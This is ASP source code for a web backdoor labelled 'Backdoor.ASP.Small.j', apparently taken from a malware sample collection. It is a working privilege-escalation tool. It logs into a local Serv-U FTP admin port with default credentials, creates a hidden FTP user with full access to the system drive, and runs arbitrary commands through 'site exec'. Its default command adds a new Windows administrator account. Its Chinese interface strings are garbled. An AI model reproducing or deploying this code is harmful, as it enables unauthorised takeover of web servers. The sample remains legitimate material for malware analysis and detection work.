Backdoor.ASP.Small.j - Source Code

<%
'Serv-U asp ��Ȩ����
'author: Goldsun[at]84823714
'DO NOT use it to do evil things!

Dim user, pass, port, ftpport, cmd, loginuser, loginpass, deldomain, mt, newdomain, newuser, quit
dim action
action=request("action")
if not isnumeric(action) then response.end
user = trim(request("u"))
pass = trim(request("p"))
port = trim(request("port"))
cmd = trim(request("c"))
f=trim(request("f"))
if f="" then
f=gpath()
else
  f=left(f,2)
end if
ftpport = 65500
timeout=3

loginuser = "User " & user & vbCrLf
loginpass = "Pass " & pass & vbCrLf
deldomain = "-DELETEDOMAIN" & vbCrLf & "-IP=0.0.0.0" & vbCrLf & " PortNo=" & ftpport & vbCrLf
mt = "SITE MAINTENANCE" & vbCrLf
newdomain = "-SETDOMAIN" & vbCrLf & "-Domain=goldsun|0.0.0.0|" & ftpport & "|-1|1|0" & vbCrLf & "-TZOEnable=0" & vbCrLf & " TZOKey=" & vbCrLf
newuser = "-SETUSERSETUP" & vbCrLf & "-IP=0.0.0.0" & vbCrLf & "-PortNo=" & ftpport & vbCrLf & "-User=go" & vbCrLf & "-Password=od" & vbCrLf & _
    "-HomeDir=c:\\" & vbCrLf & "-LoginMesFile=" & vbCrLf & "-Disable=0" & vbCrLf & "-RelPaths=1" & vbCrLf & _
    "-NeedSecure=0" & vbCrLf & "-HideHidden=0" & vbCrLf & "-AlwaysAllowLogin=0" & vbCrLf & "-ChangePassword=0" & vbCrLf & _
    "-QuotaEnable=0" & vbCrLf & "-MaxUsersLoginPerIP=-1" & vbCrLf & "-SpeedLimitUp=0" & vbCrLf & "-SpeedLimitDown=0" & vbCrLf & _
    "-MaxNrUsers=-1" & vbCrLf & "-IdleTimeOut=600" & vbCrLf & "-SessionTimeOut=-1" & vbCrLf & "-Expire=0" & vbCrLf & "-RatioUp=1" & vbCrLf & _
    "-RatioDown=1" & vbCrLf & "-RatiosCredit=0" & vbCrLf & "-QuotaCurrent=0" & vbCrLf & "-QuotaMaximum=0" & vbCrLf & _
    "-Maintenance=System" & vbCrLf & "-PasswordType=Regular" & vbCrLf & "-Ratios=None" & vbCrLf & " Access=c:\\|RWAMELCDP" & vbCrLf
quit = "QUIT" & vbCrLf
newuser=replace(newuser,"c:",f)
select case action
case 1
  set a=Server.CreateObject("Microsoft.XMLHTTP")
  a.open "GET", "http://127.0.0.1:" & port & "/goldsun/upadmin/s1",True, "", ""
  a.send loginuser & loginpass & mt & deldomain & newdomain & newuser & quit
  set session("a")=a
%>
<form method="post" name="goldsun">
<input name="u" type="hidden" id="u" value="<%=user%>"></td>
<input name="p" type="hidden" id="p" value="<%=pass%>"></td>
<input name="port" type="hidden" id="port" value="<%=port%>"></td>
<input name="c" type="hidden" id="c" value="<%=cmd%>" size="50">
<input name="f" type="hidden" id="f" value="<%=f%>" size="50">
<input name="action" type="hidden" id="action" value="2"></form>
<script language="javascript">
document.write('<center>�������� 127.0.0.1:<%=port%>,ʹ���û���: <%=user%>,���<%=pass%>...<center>');
setTimeout("document.all.goldsun.submit();",4000);
</script>
<%
case 2
  set b=Server.CreateObject("Microsoft.XMLHTTP")
  b.open "GET", "http://127.0.0.1:" & ftpport & "/goldsun/upadmin/s2", True, "", ""
  b.send "User go" & vbCrLf & "pass od" & vbCrLf & "site exec " & cmd & vbCrLf & quit
  set session("b")=b
%>
<form method="post" name="goldsun">
<input name="u" type="hidden" id="u" value="<%=user%>"></td>
<input name="p" type="hidden" id="p" value="<%=pass%>"></td>
<input name="port" type="hidden" id="port" value="<%=port%>"></td>
<input name="c" type="hidden" id="c" value="<%=cmd%>" size="50">
<input name="f" type="hidden" id="f" value="<%=f%>" size="50">
<input name="action" type="hidden" id="action" value="3"></form>
<script language="javascript">
document.write('<center>��������Ȩ��,��ȴ�...,<center>');
setTimeout("document.all.goldsun.submit();",4000);
</script>
<%
case 3
  set c=Server.CreateObject("Microsoft.XMLHTTP")
  c.open "GET", "http://127.0.0.1:" & port & "/goldsun/upadmin/s3", True, "", ""
  c.send loginuser & loginpass & mt & deldomain & quit
  set session("c")=c
%>
<center>��Ȩ���,��ִ�������<br><font color=red><%=cmd%></font><br><br>
<input type=button value=" ���ؼ��� " onClick="location.href='<%=gname()%>';">
</center>

<%
case else
on error resume next
  set a=session("a")
  set b=session("b")
  set c=session("c")
  a.abort
  Set a = Nothing
  b.abort
  Set b = Nothing
  c.abort
  Set c = Nothing
%>
<center><form method="post" name="goldsun">
<table width="494" height="163" border="1" cellpadding="0" cellspacing="1" bordercolor="#666666">
<tr align="center" valign="middle">
  <td colspan="2">Serv-U ����Ȩ�� ASP�� Goldsun[at]84823714</td>
</tr>
<tr align="center" valign="middle">
  <td width="100">�û���:</td>
  <td width="379"><input name="u" type="text" id="u" value="LocalAdministrator"></td>
</tr>
<tr align="center" valign="middle">
  <td>�ڡ��</td>
  <td><input name="p" type="text" id="p" value="#l@$ak#.lk;0@P"></td>
</tr>
<tr align="center" valign="middle">
  <td>�ˡ��ڣ�</td>
  <td><input name="port" type="text" id="port" value="43958"></td>
</tr>
<tr align="center" valign="middle">
  <td>ϵͳ·����</td>
  <td><input name="f" type="text" id="f" value="<%=f%>" size="8"></td>
</tr>
<tr align="center" valign="middle">
  <td>�����</td>
  <td><input name="c" type="text" id="c" value="cmd /c net user goldsun love /add & net localgroup administrators goldsun /add" size="50"></td>
</tr>

<tr align="center" valign="middle">
  <td colspan="2"><input type="submit" name="Submit" value="�ύ">��
    <input type="reset" name="Submit2" value="����">
    <input name="action" type="hidden" id="action" value="1"></td>
</tr>
</table></form></center>
<% end select
function Gpath()
on error resume next
  err.clear
  set f=Server.CreateObject("Scripting.FileSystemObject")
  if err.number>0 then
   gpath="c:"
    exit function
  end if
gpath=f.GetSpecialFolder(0)
gpath=lcase(left(gpath,2))
set f=nothing
end function
Function GName()
If request.servervariables("SERVER_PORT")="80" Then
GName="http://" & request.servervariables("server_name")&lcase(request.servervariables("script_name"))
Else
GName="http://" & request.servervariables("server_name")&":"&request.servervariables("SERVER_PORT")&lcase(request.servervariables("script_name"))
End If
End Function
%>